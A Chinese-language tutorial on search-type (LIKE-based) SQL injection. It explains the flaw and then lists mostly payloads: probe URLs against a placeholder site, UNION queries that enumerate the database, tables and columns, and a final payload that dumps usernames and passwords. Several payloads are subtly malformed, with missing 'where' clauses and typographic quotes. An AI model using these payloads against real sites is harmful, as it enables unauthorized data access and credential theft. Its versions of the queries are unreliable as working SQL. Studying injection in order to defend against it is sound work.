SQL注入——搜索型注入

搜索型注入原理

语句如下:SELECT*from database.table where users like ‘%要查询的关键字%’。这里“%”匹配任何字符,“like”的意思就是像。比如我们在搜索框输入关键字“李”,那么SQL语句就变成了SELECT * from database.table where users like ‘%李%’,意思就是查询users列里的带有关键字“李”的数据。
如果我们在输入关键字的时候不是输入的关键字“李”,而是精心构造的SQL语句,并且对于输入的关键字也没有过滤,那么注入就形成了。
例如我们在搜索框输入 李%‘and’1’=‘1’ and%’=’
SELECT * from table where users like’%李%‘and’1’=‘1’and’%’=’%’

搜索型注入语句构造

判断是否有注入漏洞

Url 地址中输入 www.xxx.com/abc.php?users= 1‘ 报错,说明很有可能存在注入漏洞
Url 地址中输入 www.xxx.com/abc.php?users= 1% 报错,说明特别可能存在注入漏洞
Url 地址中输入 www.xxx.com/abc.php?users= 1% ‘and 1=1 and ‘%’=’ 正确
Url 地址中输入 www.xxx.com/abc.php?users= 1% ‘and 1=2 and ‘%’=’ 错误
根据上面两条语句判断是否存在搜索型注入。
以下几种语句都可以
‘and 1=1 and ‘%’=’

%’ and 1=1–’

%’ and 1=1 and ‘%’=’

查询语句

判断字段数:
%’ order by 1 and ‘%’=‘
判断字段显示位置:
%’ union select 1,2,3,4,5 and ‘%’=‘
爆库名:
%’ union select 1,2,(select database()),4,5 and ‘%’=‘
爆表名:
%’ union select 1,2,(select group_concat(table_name) from information_schema.tables table_schema=‘database’),4,5 and ‘%’=‘
爆数据:
%’ union select 1,2,(select group_concat(column_name) from information_schema.columns table_schema=‘database’ and table_name=‘table’),4,5 and ‘%’=‘
爆字段:
%’ union select 1,2,(select group_concat(id,0x3a,user,0x3a,passwd) from database.table),4,5 and ‘%’=‘

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章